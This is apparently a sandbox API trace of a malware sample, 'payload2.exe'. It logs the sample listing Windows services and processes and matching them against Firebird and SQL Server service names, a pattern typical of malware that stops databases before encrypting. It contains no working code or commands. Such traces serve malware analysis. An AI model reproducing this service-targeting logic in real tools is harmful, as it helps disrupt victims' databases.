	[0174.190] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0174.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0174.190] lstrlenW (lpString="ProfSvc") returned 7
	[0174.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0174.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0174.190] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0174.190] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0174.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0174.190] lstrlenW (lpString="RpcEptMapper") returned 12
	[0174.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0174.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0174.191] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0174.191] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0174.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0174.191] lstrlenW (lpString="RpcSs") returned 5
	[0174.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0174.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0174.191] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0174.191] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0174.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0174.191] lstrlenW (lpString="SamSs") returned 5
	[0174.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0174.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0174.191] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0174.191] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0174.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0174.191] lstrlenW (lpString="Schedule") returned 8
	[0174.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0174.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0174.191] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0174.191] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0174.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0174.191] lstrlenW (lpString="SecurityHealthService") returned 21
	[0174.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0174.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0174.191] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0174.191] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0174.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0174.191] lstrlenW (lpString="SENS") returned 4
	[0174.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0174.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0174.191] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0174.192] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0174.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0174.192] lstrlenW (lpString="ShellHWDetection") returned 16
	[0174.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0174.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0174.192] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0174.192] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0174.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0174.192] lstrlenW (lpString="Spooler") returned 7
	[0174.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0174.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0174.192] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0174.192] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0174.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0174.192] lstrlenW (lpString="StateRepository") returned 15
	[0174.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0174.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0174.192] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0174.192] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0174.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0174.192] lstrlenW (lpString="SysMain") returned 7
	[0174.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0174.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0174.192] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0174.192] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0174.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0174.192] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0174.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0174.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0174.192] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0174.193] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0174.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0174.193] lstrlenW (lpString="Themes") returned 6
	[0174.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0174.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0174.193] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0174.193] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0174.193] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45c64c0 | out: hHeap=0x610000) returned 1
	[0174.193] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4b4
	[0174.200] Process32FirstW (in: hSnapshot=0x4b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0174.200] Process32NextW (in: hSnapshot=0x4b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0174.201] lstrlenW (lpString="System") returned 6
	[0174.201] Process32NextW (in: hSnapshot=0x4b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0174.201] lstrlenW (lpString="smss.exe") returned 8
	[0174.201] Process32NextW (in: hSnapshot=0x4b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0174.202] lstrlenW (lpString="csrss.exe") returned 9
	[0174.202] Process32NextW (in: hSnapshot=0x4b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0174.202] lstrlenW (lpString="wininit.exe") returned 11
	[0174.203] Process32NextW (in: hSnapshot=0x4b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0174.203] lstrlenW (lpString="csrss.exe") returned 9
	[0174.203] Process32NextW (in: hSnapshot=0x4b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0174.203] lstrlenW (lpString="winlogon.exe") returned 12
	[0174.203] Process32NextW (in: hSnapshot=0x4b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0174.204] lstrlenW (lpString="services.exe") returned 12
	[0174.204] Process32NextW (in: hSnapshot=0x4b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0174.204] lstrlenW (lpString="lsass.exe") returned 9
	[0174.204] Process32NextW (in: hSnapshot=0x4b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0174.205] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0174.205] Process32NextW (in: hSnapshot=0x4b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0174.205] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0174.205] Process32NextW (in: hSnapshot=0x4b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.206] lstrlenW (lpString="svchost.exe") returned 11
	[0174.206] Process32NextW (in: hSnapshot=0x4b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.206] lstrlenW (lpString="svchost.exe") returned 11
	[0174.206] Process32NextW (in: hSnapshot=0x4b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0174.206] lstrlenW (lpString="dwm.exe") returned 7
	[0174.206] Process32NextW (in: hSnapshot=0x4b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.207] lstrlenW (lpString="svchost.exe") returned 11
	[0174.207] Process32NextW (in: hSnapshot=0x4b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.207] lstrlenW (lpString="svchost.exe") returned 11
	[0174.207] Process32NextW (in: hSnapshot=0x4b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.208] lstrlenW (lpString="svchost.exe") returned 11
	[0174.208] Process32NextW (in: hSnapshot=0x4b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.208] lstrlenW (lpString="svchost.exe") returned 11
	[0174.208] Process32NextW (in: hSnapshot=0x4b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.209] lstrlenW (lpString="svchost.exe") returned 11
	[0174.209] Process32NextW (in: hSnapshot=0x4b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x430, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.209] lstrlenW (lpString="svchost.exe") returned 11
	[0174.209] Process32NextW (in: hSnapshot=0x4b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.210] lstrlenW (lpString="svchost.exe") returned 11
	[0174.210] Process32NextW (in: hSnapshot=0x4b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.210] lstrlenW (lpString="svchost.exe") returned 11
	[0174.210] Process32NextW (in: hSnapshot=0x4b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.210] lstrlenW (lpString="svchost.exe") returned 11
	[0174.211] Process32NextW (in: hSnapshot=0x4b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.211] lstrlenW (lpString="svchost.exe") returned 11
	[0174.211] Process32NextW (in: hSnapshot=0x4b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0174.211] lstrlenW (lpString="spoolsv.exe") returned 11
	[0174.211] Process32NextW (in: hSnapshot=0x4b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.212] lstrlenW (lpString="svchost.exe") returned 11
	[0174.212] Process32NextW (in: hSnapshot=0x4b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x56c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0174.212] lstrlenW (lpString="audiodg.exe") returned 11
	[0174.212] Process32NextW (in: hSnapshot=0x4b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0174.213] lstrlenW (lpString="sihost.exe") returned 10
	[0174.213] Process32NextW (in: hSnapshot=0x4b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.213] lstrlenW (lpString="svchost.exe") returned 11
	[0174.213] Process32NextW (in: hSnapshot=0x4b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0174.214] lstrlenW (lpString="taskhostw.exe") returned 13
	[0174.214] Process32NextW (in: hSnapshot=0x4b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0174.214] lstrlenW (lpString="msoia.exe") returned 9
	[0174.214] Process32NextW (in: hSnapshot=0x4b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0174.214] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0174.214] Process32NextW (in: hSnapshot=0x4b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0174.215] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0174.215] Process32NextW (in: hSnapshot=0x4b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0174.215] lstrlenW (lpString="Memory Compression") returned 18
	[0174.215] Process32NextW (in: hSnapshot=0x4b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0174.216] lstrlenW (lpString="explorer.exe") returned 12
	[0174.216] Process32NextW (in: hSnapshot=0x4b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0174.216] lstrlenW (lpString="SearchUI.exe") returned 12
	[0174.216] Process32NextW (in: hSnapshot=0x4b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0174.217] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0174.217] Process32NextW (in: hSnapshot=0x4b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0174.217] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0174.217] Process32NextW (in: hSnapshot=0x4b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xccc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0174.218] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0174.218] Process32NextW (in: hSnapshot=0x4b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x998, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0174.218] lstrlenW (lpString="payload2.exe") returned 12
	[0174.218] Process32NextW (in: hSnapshot=0x4b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0174.218] lstrlenW (lpString="cmd.exe") returned 7
	[0174.219] Process32NextW (in: hSnapshot=0x4b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0174.219] lstrlenW (lpString="conhost.exe") returned 11
	[0174.219] Process32NextW (in: hSnapshot=0x4b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1
	[0174.219] lstrlenW (lpString="mode.com") returned 8
	[0174.219] Process32NextW (in: hSnapshot=0x4b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0
	[0174.220] CloseHandle (hObject=0x4b4) returned 1
	[0174.220] Sleep (dwMilliseconds=0x1f4) 
	[0174.859] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6681a0
	[0174.860] EnumServicesStatusExW (in: hSCManager=0x6681a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 0
	[0174.860] GetLastError () returned 0xea
	[0174.861] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x1c28) returned 0x45c6cc8
	[0174.861] EnumServicesStatusExW (in: hSCManager=0x6681a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45c6cc8, cbBufSize=0x1c28, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45c6cc8, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 1
	[0174.862] CloseServiceHandle (hSCObject=0x6681a0) returned 1
	[0174.862] lstrlenW (lpString="Appinfo") returned 7
	[0174.862] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0174.862] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0174.862] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0174.862] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0174.862] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0174.862] lstrlenW (lpString="AppXSvc") returned 7
	[0174.862] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0174.862] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0174.862] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0174.862] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0174.862] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0174.862] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0174.862] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0174.862] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0174.862] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0174.862] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0174.862] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0174.862] lstrlenW (lpString="Audiosrv") returned 8
	[0174.862] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0174.862] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0174.862] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0174.862] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0174.862] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0174.863] lstrlenW (lpString="BFE") returned 3
	[0174.863] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0174.863] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0174.863] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
